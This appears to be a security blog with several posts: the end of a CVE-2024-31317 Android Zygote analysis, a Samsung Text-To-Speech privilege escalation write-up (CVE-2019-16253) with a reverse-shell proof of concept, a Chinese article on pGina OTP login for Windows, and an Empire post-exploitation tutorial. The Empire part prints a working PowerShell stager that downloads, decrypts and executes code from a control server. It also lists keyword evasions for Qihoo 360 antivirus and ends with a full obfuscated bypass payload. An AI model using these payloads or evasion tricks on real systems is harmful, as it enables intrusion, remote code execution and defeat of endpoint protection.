    // If the application calls System.exit(), terminate the process
    // immediately without running any shutdown hooks.  It is not possible to
    // shutdown an Android application gracefully.  Among other things, the
    // Android runtime shutdown hooks close the Binder driver, which can cause
    // leftover running threads to crash before the process actually exits.
    nativeSetExitWithoutCleanup(true);

    VMRuntime.getRuntime().setTargetSdkVersion(targetSdkVersion);
    VMRuntime.getRuntime().setDisabledCompatChanges(disabledCompatChanges);

    final Arguments args = new Arguments(argv);

    // The end of of the RuntimeInit event (see #zygoteInit).
    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);

    // Remaining arguments are passed to the start class's static main
    return findStaticMain(args.startClass, args.startArgs, classLoader);
}

It seems that by leveraging WrapperInit, we can control the classLoader to inject our custom classes, potentially achieving the desired effect of code injection and execution.

private static Runnable wrapperInit(int targetSdkVersion, String[] argv) {
    if (RuntimeInit.DEBUG) {
        Slog.d(RuntimeInit.TAG, "RuntimeInit: Starting application from wrapper");
    }

    // Check whether the first argument is a "-cp" in argv, and assume the next argument is the
    // classpath. If found, create a PathClassLoader and use it for applicationInit.
    ClassLoader classLoader = null;
    if (argv != null && argv.length > 2 && argv[0].equals("-cp")) {
        classLoader = ZygoteInit.createPathClassLoader(argv[1], targetSdkVersion);

        // Install this classloader as the context classloader, too.
        Thread.currentThread().setContextClassLoader(classLoader);

        // Remove the classpath from the arguments.
        String removedArgs[] = new String[argv.length - 2];
        System.arraycopy(argv, 2, removedArgs, 0, argv.length - 2);
        argv = removedArgs;
    }
    // Perform the same initialization that would happen after the Zygote forks.
    Zygote.nativePreApplicationInit();
    return RuntimeInit.applicationInit(targetSdkVersion, /*disabledCompatChanges*/ null,
            argv, classLoader);
}

The specific exploitation method is left for interested readers to further explore.

Conclusion

This article analyzed the cause of the CVE-2024-31317 vulnerability and shared our research and exploitation methods. This vulnerability has effects similar to the Mystique vulnerability we discovered years ago, though with its own strengths and weaknesses. Through this vulnerability, we can obtain arbitrary UID privileges, which is akin to bypassing the Android sandbox and gaining access to any app’s permissions.

Acknowledgments

Thanks to Tom Hebb from the Meta X Team for the technical discussions—Tom is the discoverer of this vulnerability, and I had the pleasure of meeting him at the Meta Researcher Conference.

References

  • https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
  • https://blog.flanker017.me/adb-backupagent-%e6%8f%90%e6%9d%83%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90-%ef%bc%88cve-2014-7953%ef%bc%89/
  • https://dawnslab.jd.com/mystique-paper/mystique-paper.pdf

Text-To-Speech speaks pwned

Text-To-Speech engine is a default enabled module in all Android phones, and exists up to Android 1.5 HTC era, even acting as a selling point at that time. But various vendor implementations may lead to various interesting stuff, i.e. CVE-2019-16253, a seemly harmless language pack, or nearly any seemly benign application, without requring any permission, can obtain a persistent SYSTEM shell through the TTS bug (or feature?).

Vulnerability Briefing

TL;DR: Samsung TTS component (a.k.a SMT) is a privileged process running in system uid, responsible for managing the whole TTS functionality. It has a privilege escalation vulnerability (or feature?), which can be exploited by malicious applications to gain system-app privilege without requiring any permission or user interaction.

systemuid

SMT application declares a exported receiver in com.samsung.SMT.mgr.LangPackMgr$2, registered by SamsungTTSService->onCreate => LangPackMgr->init which accepts Intent with action com.samsung.SMT.ACTION_INSTALL_FINISHED. The receiver blindly trusts incoming data supplied by SMT_ENGINE_PATH, and after some processing, LangPackMgr.updateEngine creates a thread which calls com.samsung.SMT.engine.SmtTTS->reloadEngine which lead to a System->load, leading to arbitrary code execution in SMT itself. It at first glance seems unbelievable but it does actually exist, a typical local privilege escalation vulnerability.

What’s worth mentioning is that this vulnerability does not require manually starting the attacking application. With carefully crafted arguments, installing the seemly benign POC apk will trigger this vulnerability. Besides, as SMT will restart every registered library at boot time, attacker can silently obtain a persistent shell without user notice.

Imagine a malicious actor uploads a seemly normal application containing the exploitation code to each Android Application market. As the exploit does not require the application asking for any privilege, it’s very likely to evade the screening process of various markets. As long as users download and install it, a persistent system shell is given out to attacker. Attacker can use this privilege to sniff on SMS, call logs/recordings, contacts, photos, or even use it as a stepstone for further attacking other privileged components, like other system services and the kernel.

Vulnerability analysis

The corresponding vulnerable code is listed below, some omitted and renamed for better visibility:

package com.samsung.SMT.mgr;

class LangPackMgr$2 extends BroadcastReceiver {
//...
    public void onReceive(Context arg10, Intent arg11) {
        int v7 = -1;
        if(arg11.getAction().equals("com.samsung.SMT.ACTION_INSTALL_FINISHED")) {
           //...
            int v0_1 = arg11.getIntExtra("SMT_ENGINE_VERSION", v7);
            String v2 = arg11.getStringExtra("SMT_ENGINE_PATH");
            if(v0_1 > SmtTTS.get().getEngineVersion() && (CString.isValid(v2))) {
                if(CFile.isExist(v2)) {
                    LangPackMgr.getUpdateEngineQueue(this.a).add(new LangPackMgr$UpdateEngineInfo(v0_1, v2));
                    CLog.i(CLog$eLEVEL.D, "LangPackMgr - Add candidate engine [%d][%s]", new Object[]{Integer.valueOf(v0_1), v2});
                }
                else {
                    CLog.e("LangPackMgr - Invalid engine = " + v2);
                }
            }
//...
            LangPackMgr.decreaseTriggerCount(this.a);
            if(LangPackMgr.getTriggerPackageCount(this.a) != 0) {
                return;
            }

            if(LangPackMgr.getUpdateEngineQueue(this.a).size() <= 0) {
                return;
            }

            LangPackMgr.doUpdateEngine(this.a);
        }
    }
}

After some checks, a new LangPackMgr.UpdateEngineInfo is added to the Queue. In doUpdateEngine,

    private void updateEngine() {
        if(this.mThreadUpdateEngine == null || !this.mThreadUpdateEngine.isAlive()) {
            this.mThreadUpdateEngine = new LangPackMgr$EngineUpdateThread(this, null);
            this.mThreadUpdateEngine.start();
        }
    }
    
        LangPackMgr$EngineUpdateThread(LangPackMgr arg1, LangPackMgr$1 arg2) {
        this(arg1);
    }

    public void run() {
    //...
        if(LangPackMgr.getUpdateEngineQueue(this.a).size() <= 0) {
            return;
        }

        try {
            v1 = LangPackMgr.getUpdateEngineQueue(this.a).poll();
            while(true) {
                if(LangPackMgr.getUpdateEngineQueue(this.a).size() <= 0) {
                    goto label_20;
                }

                v0_1 = LangPackMgr.getUpdateEngineQueue(this.a).poll();
//...
            if(v1 != null && ((LangPackMgr$UpdateEngineInfo)v1).VERSION > SmtTTS.get().getEngineVersion()) {
                CHelper.get().set_INSTALLED_ENGINE_PATH(((LangPackMgr$UpdateEngineInfo)v1).PATH);
                if(SmtTTS.get().reloadEngine()) {
                
-----
    public boolean reloadEngine() {
//...
        this.stop();
        try {
            String v0_2 = CHelper.get().INSTALLED_ENGINE_PATH();
            if(CString.isValid(v0_2)) {
                System.load(v0_2); //<- triggers load
            }
            else {
                goto label_70;
            }
        }

SmtTTS.reloadEngine finally reaches System.load, with the path supplied in Intent.

To successfully reach this code path, some conditions should be met for the attacking Intent sent out, which is listed as follows:

  • SMT_ENGINE_VERSION in Intent should be larger than the embeded version (361811291)
  • mTriggerCount should be first increased. This can be achieved by supplying a package name begins with com.samsung.SMT.lang. As mentioned above, com.samsung.SMT.SamsungTTSService registers two receivers, one of which will scan for this package prefix and increase the mTriggerCount for us.

One problem still exists though. As I stated above, triggering this vulnerability does not require starting the attacking app. How is this fulfilled?

It turns out SMT does this job for us. The code piece in SMT that calls our attacking service without user interaction is as follows:

package com.samsung.SMT.mgr;
//...
class LangPackMgr$1 extends BroadcastReceiver {
    LangPackMgr$1(LangPackMgr arg1) {
        this.a = arg1;
        super();
    }

    public void onReceive(Context arg4, Intent arg5) {
        String v0 = arg5.getAction();
        String v1 = arg5.getData().getSchemeSpecificPart();
        if(((v0.equals("android.intent.action.PACKAGE_ADDED")) || (v0.equals("android.intent.action.PACKAGE_CHANGED")) || (v0.equals("android.intent.action.PACKAGE_REMOVED"))) && (v1 != null && (v1.startsWith("com.samsung.SMT.lang")))) {
            this.a.syncLanguagePack();
        }
    }
}
//...
    private void triggerLanguagePack() {
        if(this.mThreadTriggerLanguagePack == null || !this.mThreadTriggerLanguagePack.isAlive()) {
            this.mThreadTriggerLanguagePack = new LangPackMgr$LanguagePackTriggerThread(this, null);
            this.mThreadTriggerLanguagePack.start();
        }
    }

The checking thread reaches here:

package com.samsung.SMT.mgr;
//...

class LangPackMgr$LanguagePackTriggerThread extends Thread {
  //...

    public void run() {
        Object v0_1;
        HashMap v3 = new HashMap();
        HashMap v4 = new HashMap();
        try {
            Iterator v5 = LangPackMgr.f(this.langpackmgr).getPackageManager().getInstalledPackages(0x2000).iterator();
            while(true) {
        //...
                if(!((PackageInfo)v0_1).packageName.startsWith("com.samsung.SMT.lang")) {
                    continue;
                }

                break;
            }
        }
        catch(Exception v0) {
            goto label_53;
        }

        try {
            Intent v1_1 = new Intent(((PackageInfo)v0_1).packageName);
            v1_1.setPackage(((PackageInfo)v0_1).packageName);
            LangPackMgr.f(this.langpackmgr).startService(v1_1);
            LangPackMgr.increaseTriggerCount(this.langpackmgr);

SMT has some requirements for the loaded library (it should look like an language pack… implements some interfaces), which can be resolved by reversing the default library.

So the whole attack flows as below:

smtflow

Step to reproduce with the provided POC

A demo video shows the POC of getting system shell.

If you want to change the remote IP and port for the reverse shell, please modify solib/jni/libmstring/mstring.c

    ip = "172.16.x.x";

To your own service addr. You will need to rebuild the project (run ndk-build in solib directory, copy the arm64-v8a/libmstring.so to the APK project (src/main/jniLibs/arm64-v8a/) and rebuild the APK.

Also, monitoring the logcat reveals the following output:

➜  ~ adb logcat | grep -i SamsungTTS
 21:27:09.851 16662 16662 I SamsungTTS: Init CHelper
 21:27:09.908 16662 16662 I SamsungTTS: Success to load EMBEDDED engine.
 21:27:09.980 16662 16662 I SamsungTTS: Empty install voice data : STUB_IDLE
 21:27:10.001 16662 16684 I SamsungTTS: Request check version [82]
 21:27:10.044 16662 16684 E SamsungTTS: Invalid response. request=82 receive=0
 21:27:17.155 16662 16885 I SamsungTTS: Success to reload INSTALLED engine.
 21:27:17.155 16662 16885 I SamsungTTS: Restart engine...
Which shows the malicious engine is loaded, and output from the malicious engine library printing it’s uid 
➜  ~ adb logcat | grep -i mercury
 16:29:48.816 24289 24317 E mercury-native: somehow I'm in the library yah, my uid is 1000
 16:29:48.885 24318 24318 E mercury-native: weasel begin connect
Which shows our library is running in the SMT context and as system uid.

The full POC will be available shortly at https://github.com/flankerhqd/vendor-android-cves

Conclusion

Vendor has already published fix through Galaxy Appstore and others. Updated Samsung Text-To-Speech application to following versions in corresponding markets, and examine any previously installed application with package name starts with com.samsung.SMT.lang

For all Samsung devices:

  • Android N,O or older systems, please update SMT to 3.0.00.101 or higher
  • Android P, please update SMT to 3.0.02.7 or higher

This issue is assigned CVE-2019-16253.

现代办公网安全体系建设系列之一:统一化新型认证体系探索

无论是否情愿,并不是每家公司都能像Google一样在办公体系中完全移除了域控的(大部分)存在感,域仍然是安全人员觉得微妙的存在。 一方面各种域策略、账户的可视化配置方便了大部分企业的IT桌面支持人员在初创阶段做无脑配置,然而另一方面,域控天生与新时代ZeroTrust理念是无法完美契合的。最大的槽点不在于认证源仅仅只有固定密码可选(据传新的Windows Server终于将开始引入OTP,以及Azure AD在某种程度上是支持的),此外其他域提供的各种管理功能在现代互联网企业Linux+开源组件定制化的大技术栈下同样显得格格不入。

但在ZeroTrust理念指导下,我们仍然可以对Windows认证体系进行加固和改造,极大提高其安全性。本系列文章将介绍可能用到的各类工具以及微软自身提供的mitigations,随后讨论如何基于这些手段和理念构建纵深防御。
在上面提到Windows密码认证所固有的缺陷后,我们自然会提出如下的问题:如何改造固有的静态域认证体系?在这个理念指导下,可以采取什么样的手段?

一种显而易见的体系化改造是直接通过Windows Credential Provider提供的接入能力,改造认证源,取代Windows原有的认证能力,而本文将介绍的pgina就是其中的一个成熟的开源方案,pgina是一个开源的Windows Credential Provider认证框架,通过各种C#形式的插件,我们可以定制Windows的认证流程,取代传统的密码认证流程,与统一认证源完成打通,在某种程度上实现大一统SSO的梦想。

pgina架构介绍

pgina最早由David Wolff等开发并开源,借助Windows的Credential Provider体系,实现了ICrendtialProvider接口,实现了认证流程的定制。mutonufoai维护了一个fork版本,是目前比较活跃的分支。http://mutonufoai.github.io/pgina/

简单来说,在安装了pgina之后,我们可以在认证流中插入自定义的环节,Pgina原生提供了多种开箱即用的插件,通过这些插件与外部认证源打通。例如,我们可以通过自定义的Radius认证服务器或者通过http auth插件,来实现对OTP登录的支持,甚至更细粒度的控制。

pgina配置

我们以pgina接入radius认证后端为例,展示pgina的用法。需要注意的是pgina并不是一个中心的域控插件,需要安装部署到所有具体的目标机器上。

pgina认证流程区分为Authentication – Authorization – Gateway三个阶段。其中,Authentication阶段用于证明该用户提供的认证凭据是否正确,而Authorization阶段则决定该用户在凭据正确的情况下,其是否可以登录(例如只有某一个特定组的用户可以登录),Gateway阶段则更类似于认证通过之后的回调。例如在众多插件中,LocalMachine代表了该机器上的native认证,如果其他插件认证通过的用户在本机上不存在,则LocalMachine插件默认会在Gateway阶段创建对应的用户。当然,这个行为都是可配置的。

通过pGina插件在Windows认证中支持OTP认证

在有了这些基础知识之后,我们就可以通过插件连接到自定义的radius server,来对Windows开启OTP认证支持。受到Windows UI限制,用户可将OTP追加在其原始密码之前或之后,整体的流程如下图所示。

根据以上设计,我们甚至可以在某种程度上,摒弃域控体系的存在,而把认证源完全转移到统一的认证体系中。通过插件中所携带的信息,甚至可以做到对特定机器限定特定权限登录,以及检测到用户存在风险时自动拒绝登录等等。

根据实际测试经验和遇到的问题,有如下建议可供参考:

  1. 内置插件可用于快速测试功能,但在可用性上没有太多考虑,radius插件本身在高频使用中存在一些问题,建议根据其架构自行实现插件,通过自定义的认证协议与远端认证接口进行联调和实现
  2. 开启了插件认证的机器在被远程桌面时(如果允许远程桌面),远程桌面客户端侧需要关闭默认的网络级别验证,因为Network Level Authentication并不支持自定义的credential provider。关闭NLA并不会带来认证方式上的安全问题(例如hash被抓取之类的)
  3. pgina原版具有调试功能,但调试功能较为难用,建议通过log形式调试,pgina.fork并不支持调试。插件主要为C#语言编写,需要对C#有一定的了解。

此外,一个显而易见的问题是,原账户的密码应当如何处理?LocalMachine插件当然支持对原账户的密码继续生效,但这会造成显而易见的短板。一种安全的做法是通过终端能力下发定制化脚本,对原有的账户密码进行定期全随机化,包括本地Administrator用户、域控体系下的域用户等。当然,出于灾备的考虑,对部分账户还需要通过一些方式保留原始认证能力供网络、存储等意外因素导致自定义认证服务不可用时排障使用,具体细节在此不在赘述。

总结

以上介绍了pgina认证体系及其插件化应用,同时以将OTP引入Windows认证为例,给出了一个案例。基于插件化的能力,我们可以摒弃域控认证体系部分固有的弱点,引入TOTP二次认证体系,统一认证后端。API接口的能力允许我们对认证权限做更统一的细粒度规划,而不是拘泥于Windows域所固有的体系,降低维护成本,提高安全性。

注:该文已授权首发于 跳跳糖:
https://tttang.com/archive/1282/

Testing Empire as post-exploitation framework in domain environment

Testing Empire as post-exploitation framework in domain environment

Due to recent research on Red-Blue Team Operations, I became interested in various post-exploitation framework. Since the widely adoption of powershell which is shipped by default in Windows 7 and Windows 10, it has become a popular stager for pen-testers and red team. The following article will describe one of the popular framework called Empire (https://github.com/EmpireProject/Empire) with 3000+ stars, and how to use it on a typical workstation with AV installed.

Installation

The installation of Empire is quite simple. You can choose the docker approach, or install it on a host instance.

For installation steps on a host instance, follow the commands as below:

git clone https://github.com/EmpireProject/Empire cd Empire && sudo ./setup/install.sh

In a Debian-flavor environment the installation usually contains apt-update and adding some apt-source. So be patient.

The following steps are all based on Ubuntu 16.04.1. Some windows compilation are done on a Windows Server 2016 with Visual Stuido

Running

Go to the install directory of empire and type sudo ./empire to get started.

Alt

Listeners

The currently supported listeners in Empire are

(Empire: listeners) > uselistener
dbx http_com http_hop meterpreter redirector 
http http_foreign http_mapi onedrive 
(Empire: listeners) > uselistener http
(Empire: listeners/http) > ?

Listener Commands
=================
agents Jump to the agents menu.
back Go back a menu.
creds Display/return credentials from the database.
execute Execute the given listener module.
exit Exit Empire.
help Displays the help menu.
info Display listener module options.
launcher Generate an initial launcher for this listener.
listeners Jump to the listeners menu.
main Go back to the main menu.
resource Read and execute a list of Empire commands from a file.
set Set a listener option.
unset Unset a listener option.

(Empire: listeners/http) > info

Name: HTTP[S]
Category: client_server

Authors:
@harmj0y

Description:
Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST approach.

HTTP[S] Options:

Name Required Value Description
---- -------- ------- -----------
SlackToken False Your SlackBot API token to communicate with your Slack instance.
ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
KillDate False Date for the listener to exit (MM/dd/yyyy).
Name True http Name for the listener.
Launcher True powershell -noP -sta -w 1 -enc Launcher string.
DefaultDelay True 5 Agent delay/reach back interval (in seconds).
DefaultLostLimit True 60 Number of missed checkins before exiting
WorkingHours False Hours for the agent to operate (09:00-17:00).
SlackChannel False #general The Slack channel or DM that notifications will be sent to.
DefaultProfile True /admin/get.php,/news.php,/login/ Default communication profile for the agent.
process.php|Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
Host True http://172.16.3.77:80 Hostname/IP for staging.
CertPath False Certificate path for https listeners.
DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0).
Proxy False default Proxy to use for request (default, none, or other).
UserAgent False default User-agent string to use for the staging request (default, none, or other).
StagingKey True JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7 Staging key for initial agent negotiation.
BindIP True 0.0.0.0 The IP to bind to on the control server.
Port True 80 Port for the listener.
ServerVersion True Microsoft-IIS/7.5 Server header for the control server.
StagerURI False URI for the stager. Must use /download/. Example: /download/stager.php

To maintain stealth against various network traffic monitoring, it is recommended to use http based listeners as it will only appear as normal http traffic.

The required options for http-base listeners are Host, Name and Port

(Empire: listeners/http) > set Name http1
(Empire: listeners/http) > set Port 81
(Empire: listeners/http) > execute
[*] Starting listener 'http1'
[+] Listener successfully started!

For example, a http listener’s traffic may looks like below:


(Empire) > listeners

[*] Active listeners:

Name Module Host Delay/Jitter KillDate
---- ------ ---- ------------ --------
http http http://172.16.x.x:80 5/0.0

Stagers

After we created a listener, we need something to wrap the connection, named stager. Empire provides different stagers for different platform.

The simplest stager is a direct powershell command on Windows:

(Empire: listeners) > launcher powershell http
powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAUwBJAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBlAFIAUwBpAG8ATgAuAE0AYQBqAG8AUgAgAC0AZwBlACAAMwApAHsAJABHAFAARgA9AFsAcgBlAEYAXQAuAEEAcwBTAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlA(omitted)

Which is the core of all other payloads. You can directly paste it in a command prompt to test it out if you’re curious. On other platforms, similar logic is implemented with Python.

(Empire: listeners) > usestager 
multi/bash osx/dylib windows/backdoorLnkMacro windows/launcher_sct
multi/launcher osx/jar windows/bunny windows/launcher_vbs
multi/macro osx/launcher windows/csharp_exe windows/launcher_xml
multi/pyinstaller osx/macho windows/dll windows/macro
multi/war osx/macro windows/ducky windows/macroless_msword
osx/applescript osx/pkg windows/hta windows/shellcode
osx/application osx/safari_launcher windows/launcher_bat windows/teensy
osx/ducky osx/teensy windows/launcher_lnk 

Empire currently supports stagers listed above. You can test different windows stagers. When you choose a stager, use options to fill in the required attribute. Example goes below:

(Empire: listeners) > usestager multi/pyinstaller
(Empire: stager/multi/pyinstaller) > options

Name: pyInstaller Launcher

Description:
Generates an ELF binary payload launcher for
Empire using pyInstaller.

Options:

Name Required Value Description
---- -------- ------- -----------
Language True python Language of the stager to generate.
SafeChecks True True Switch. Checks for LittleSnitch or a
SandBox, exit the staging process if
true. Defaults to True.
Base64 True False Switch. Base64 encode the output.
Defaults to False.
Listener True Listener to generate stager for.
UserAgent False default User-agent string to use for the staging
request (default, none, or other).
BinaryFile True /tmp/empire File to output launcher to.

(Empire: stager/multi/pyinstaller) > set Listener http1
(Empire: stager/multi/pyinstaller) > execute

Sample payload analysis

Let’s now have a brief view on the launcher metasploit script Empire generates.

The first IF script block is a trick to disable powershell logging to bypass Windows Defenders analysis, which is quite popular abroad. I will not elaborate on this here and you can refer to citation documents. Windows defender employs a per-statement detection approach, while some domestic AVs will step further to block powershell directly if certain keywords are found.

[SYsTem.NET.SErvIcePOInTMANAgER]::EXPecT100CONtiNuE=0;
$WC=NEW-OBjECT SYstem.NeT.WEBCliENt;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; 
$WC.HeAdErS.Add('User-Agent',$u); 
$WC.PRoxY=[SYStem.NEt.WEbREqUEsT]::DEfaulTWEBPrOxY;
$WC.ProxY.CreDEnTials = [SySTEm.NET.CreDenTIalCache]::DeFAUltNETWOrkCReDentIALs;
$Script:Proxy = $wc.Proxy;
$K= [SYStEm.TeXT.ENCodiNG]::ASCII.GEtBytES('JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7');
$R={
$D,$K=$ArgS;
$S=0..255; 
0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUnt])%256;
$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%{
$I=($I+1)%256; 
$H=($H+$S[$I])%256; 
$S[$I],$S[$H]=$S[$H],$S[$I]; 
$_-bXoR$S[($S[$I]+$S[$H])%256]
} };
$ser='http://172.16.x.x:80';$t='/news.php';$Wc.HEaDERs.ADd('Cookie','session=4L4ZezFDPx');

$dAta=$WC.DowNlOaDDaATa($sEr+$T);$IV=$dATA[0..3]; 
$DATA=$data[4..$DAtA.LeNgTh];
-joIN[ChAr[]](& $R $datA ($IV+$K))|IEX"

The followed block is the functional block. First, the script tries to establish a HTTP connection to control server. An IV is retrieved from response data (first four bytes). A hardcoded key will later be used to decrypt the function body. Notice the block defines a variable $R which kinda like lambda function. At the last line, $data and $IV+$K is passed into the lambda acting as $D, $K . The decryption result char array is joined and passed to IEX , i.e. Invoke-Expression

Sample Modules

Empire comes with quite some useful modules, in which bounded mimikatz module can be used to extract password and hash tokens, and privilege escalation modules can be used to elevate privilege to local admin or even domain admin.

AV bypass

Qihoo 360

When you directly paste the payload into cmd, it easily get blocked by Qihxx, indicating "powershell.exe is trying to execute". Besides process monitoring, I believe 360 also use script keyword detection to reduce false positives. However, as powershell is a very flexible language, it’s not easy to filter all malicious requests.

By binary search we deduced the keywords are

  • -enc command line in powershell arguments. E.g, powershell -enc aaa will be blocked by 360.
  • downloadData in powershell script will be detected and blocked by 360.
  • A statement is not permitted to have two or more plus signs. E.g. $a+$b;$b+$c will be blocked by 360.

All these methods have some ways to bypass.

  • For the first condition requirement, you can just simple drop the enc command argument
  • For the second requirement, note that we can use string as method node in powershell. I.e. $c="downl"+"oadData";$a.$c.invoke($bla)
  • For the third requirement, we can simply use $a-(-$b);$b-(-$c)

Appendix

Full powershell code to bypass 360

"[SYsTem.NET.SErvIcePOInTMANAgER]::EXPecT100CONtiNuE=0;$WC=NEW-OBjECT SYstem.NeT.WEBCliENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)
like Gecko';$WC.HeAdErS.Add('User-Agent',$u);$WC.PRoxY= [SYStem.NEt.WEbREqUEsT]::DEfaulTWEBPrOxY;$WC.ProxY.CreDEnTials = [SySTEm.NET.CreDenTIalCache]::DeFAUltNETWOrkCReDentIALs;$Script:Proxy = $wc.Proxy;$K= [SYStEm.TeXT.ENCodiNG]::ASCII.GEtBytES('JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7');$R= {$D,$K=$ArgS;$S=0..255;0..255|%{$J=($J-(-$S[$_])- (-$K[$_%$K.CoUnt]))%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H= ($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_- bXoR$S[($S[$I]+$S[$H])%256]}};$ser='http://172.16.3.77:80';$t='/news.php';$Wc.HEaDERs.AD joIN[ChAr[]](& $R $datA ($IV+$K))|IEX"